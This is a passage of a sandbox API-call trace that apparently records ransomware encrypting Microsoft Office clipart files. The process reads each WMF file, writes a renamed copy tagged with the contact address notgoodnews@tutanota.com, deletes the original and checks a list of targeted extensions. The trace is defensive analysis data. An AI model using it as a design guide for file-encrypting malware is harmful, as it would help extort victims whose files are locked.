nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0084.685] WriteFile (in: hFile=0x344, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0084.685] SetEndOfFile (hFile=0x344) returned 1 [0084.685] CloseHandle (hObject=0x344) returned 1 [0084.685] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0084.685] SetEndOfFile (hFile=0x398) returned 1 [0084.686] CloseHandle (hObject=0x398) returned 1 [0084.686] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0084.686] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf")) returned 1 [0084.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0084.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0084.686] lstrlenW (lpString=".doc") returned 4 [0084.686] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0084.686] lstrlenW (lpString=".docx") returned 5 [0084.686] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0084.687] lstrlenW (lpString=".pdf") returned 4 [0084.687] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0084.687] lstrlenW (lpString=".xls") returned 4 [0084.687] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0084.687] lstrlenW (lpString=".xlsx") returned 5 [0084.687] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0084.687] lstrlenW (lpString=".ppt") returned 4 [0084.687] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0084.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0084.687] lstrlenW (lpString=".zip") returned 4 [0084.687] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0084.687] lstrlenW (lpString=".rar") returned 4 [0084.687] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0084.687] lstrlenW (lpString=".bz2") returned 4 [0084.687] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0084.687] lstrlenW (lpString=".7z") returned 3 [0084.687] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0084.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0084.687] lstrlenW (lpString=".dbf") returned 4 [0084.687] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0084.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0084.687] lstrlenW (lpString=".1cd") returned 4 [0084.687] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0084.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0084.687] lstrlenW (lpString=".jpg") returned 4 [0084.687] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0084.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0084.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0084.687] lstrlenW (lpString=".doc") returned 4 [0084.687] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0084.687] lstrlenW (lpString=".docx") returned 5 [0084.687] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0084.687] lstrlenW (lpString=".pdf") returned 4 [0084.687] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0084.687] lstrlenW (lpString=".xls") returned 4 [0084.687] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0084.688] lstrlenW (lpString=".xlsx") returned 5 [0084.688] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0084.688] lstrlenW (lpString=".ppt") returned 4 [0084.688] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0084.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0084.688] lstrlenW (lpString=".zip") returned 4 [0084.688] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0084.688] lstrlenW (lpString=".rar") returned 4 [0084.688] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0084.688] lstrlenW (lpString=".bz2") returned 4 [0084.688] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0084.688] lstrlenW (lpString=".7z") returned 3 [0084.688] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0084.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0084.688] lstrlenW (lpString=".dbf") returned 4 [0084.688] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0084.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0084.688] lstrlenW (lpString=".1cd") returned 4 [0084.688] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0084.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0084.688] lstrlenW (lpString=".jpg") returned 4 [0084.688] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0084.688] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0084.688] lstrlenW (lpString="DD01176_.WMF") returned 12 [0084.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0084.689] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=1888) returned 1 [0084.689] CloseHandle (hObject=0x398) returned 1 [0084.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf")) returned 0x220 [0084.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0084.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0084.689] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0084.689] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0084.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0084.690] GetLastError () returned 0x0 [0084.690] ReadFile (in: hFile=0x398, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x760, lpOverlapped=0x0) returned 1 [0085.461] WriteFile (in: hFile=0x344, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x770, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x770, lpOverlapped=0x0) returned 1 [0085.462] ReadFile (in: hFile=0x398, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0085.462] WriteFile (in: hFile=0x344, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0085.463] SetEndOfFile (hFile=0x344) returned 1 [0085.463] CloseHandle (hObject=0x344) returned 1 [0085.463] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0085.463] SetEndOfFile (hFile=0x398) returned 1 [0085.464] CloseHandle (hObject=0x398) returned 1 [0085.464] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0085.464] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf")) returned 1 [0085.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0085.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0085.468] lstrlenW (lpString=".doc") returned 4 [0085.468] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0085.468] lstrlenW (lpString=".docx") returned 5 [0085.468] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0085.468] lstrlenW (lpString=".pdf") returned 4 [0085.468] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0085.468] lstrlenW (lpString=".xls") returned 4 [0085.468] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0085.468] lstrlenW (lpString=".xlsx") returned 5 [0085.468] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0085.468] lstrlenW (lpString=".ppt") returned 4 [0085.468] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0085.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0085.468] lstrlenW (lpString=".zip") returned 4 [0085.468] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0085.468] lstrlenW (lpString=".rar") returned 4 [0085.468] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0085.468] lstrlenW (lpString=".bz2") returned 4 [0085.468] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0085.468] lstrlenW (lpString=".7z") returned 3 [0085.468] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0085.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0085.468] lstrlenW (lpString=".dbf") returned 4 [0085.468] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0085.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0085.468] lstrlenW (lpString=".1cd") returned 4 [0085.468] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0085.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0085.468] lstrlenW (lpString=".jpg") returned 4 [0085.468] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0085.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0085.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0085.469] lstrlenW (lpString=".doc") returned 4 [0085.469] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0085.469] lstrlenW (lpString=".docx") returned 5 [0085.469] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0085.469] lstrlenW (lpString=".pdf") returned 4 [0085.469] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0085.469] lstrlenW (lpString=".xls") returned 4 [0085.469] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0085.469] lstrlenW (lpString=".xlsx") returned 5 [0085.469] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0085.469] lstrlenW (lpString=".ppt") returned 4 [0085.469] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0085.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0085.469] lstrlenW (lpString=".zip") returned 4 [0085.469] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0085.469] lstrlenW (lpString=".rar") returned 4 [0085.469] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0085.469] lstrlenW (lpString=".bz2") returned 4 [0085.469] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0085.469] lstrlenW (lpString=".7z") returned 3 [0085.469] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0085.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0085.469] lstrlenW (lpString=".dbf") returned 4 [0085.469] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0085.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0085.469] lstrlenW (lpString=".1cd") returned 4 [0085.469] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0085.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0085.469] lstrlenW (lpString=".jpg") returned 4 [0085.469] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0085.469] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0085.470] lstrlenW (lpString="DD01630_.WMF") returned 12 [0085.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0085.728] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=296) returned 1 [0085.728] CloseHandle (hObject=0x37c) returned 1 [0085.728] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf")) returned 0x220 [0085.728] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0085.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0085.842] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0085.842] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0085.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0085.843] GetLastError () returned 0x0 [0085.843] ReadFile (in: hFile=0x378, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x128, lpOverlapped=0x0) returned 1 [0085.844] WriteFile (in: hFile=0x39c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x130, lpOverlapped=0x0) returned 1 [0085.845] ReadFile (in: hFile=0x378, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0085.845] WriteFile (in: hFile=0x39c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0085.856] SetEndOfFile (hFile=0x39c) returned 1 [0085.856] CloseHandle (hObject=0x39c) returned 1 [0085.856] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0085.857] SetEndOfFile (hFile=0x378) returned 1 [0085.857] CloseHandle (hObject=0x378) returned 1 [0085.857] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0085.858] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf")) returned 1 [0085.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0085.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0085.858] lstrlenW (lpString=".doc") returned 4 [0085.858] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0085.858] lstrlenW (lpString=".docx") returned 5 [0085.858] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0085.858] lstrlenW (lpString=".pdf") returned 4 [0085.858] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0085.858] lstrlenW (lpString=".xls") returned 4 [0085.858] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0085.858] lstrlenW (lpString=".xlsx") returned 5 [0085.858] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0085.858] lstrlenW (lpString=".ppt") returned 4 [0085.858] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0085.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0085.858] lstrlenW (lpString=".zip") returned 4 [0085.858] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0085.858] lstrlenW (lpString=".rar") returned 4 [0085.858] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0085.858] lstrlenW (lpString=".bz2") returned 4 [0085.858] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0085.858] lstrlenW (lpString=".7z") returned 3 [0085.859] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0085.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0085.859] lstrlenW (lpString=".dbf") returned 4 [0085.859] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0085.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0085.859] lstrlenW (lpString=".1cd") returned 4 [0085.859] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0085.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0085.859] lstrlenW (lpString=".jpg") returned 4 [0085.859] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0085.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0085.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0085.859] lstrlenW (lpString=".doc") returned 4 [0085.859] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0085.859] lstrlenW (lpString=".docx") returned 5 [0085.859] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0085.859] lstrlenW (lpString=".pdf") returned 4 [0085.859] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0085.859] lstrlenW (lpString=".xls") returned 4 [0085.859] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0085.859] lstrlenW (lpString=".xlsx") returned 5 [0085.859] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0085.859] lstrlenW (lpString=".ppt") returned 4 [0085.859] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0085.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0085.859] lstrlenW (lpString=".zip") returned 4 [0085.859] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0085.859] lstrlenW (lpString=".rar") returned 4 [0085.859] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0085.859] lstrlenW (lpString=".bz2") returned 4 [0085.859] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0085.859] lstrlenW (lpString=".7z") returned 3 [0085.859] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0085.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0085.859] lstrlenW (lpString=".dbf") returned 4 [0085.859] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0085.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0085.860] lstrlenW (lpString=".1cd") returned 4 [0085.860] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0085.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0085.860] lstrlenW (lpString=".jpg") returned 4 [0085.860] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0085.860] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0085.860] lstrlenW (lpString="EN00319_.WMF") returned 12 [0085.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0085.860] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=2280) returned 1 [0085.860] CloseHandle (hObject=0x378) returned 1 [0085.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf")) returned 0x220 [0085.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0085.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0085.861] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0085.861] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0085.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0085.861] GetLastError () returned 0x0 [0085.861] ReadFile (in: hFile=0x378, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x8e8, lpOverlapped=0x0) returned 1 [0085.863] WriteFile (in: hFile=0x39c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x8f0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x8f0, lpOverlapped=0x0) returned 1 [0085.864] ReadFile (in: hFile=0x378, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0085.864] WriteFile (in: hFile=0x39c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, 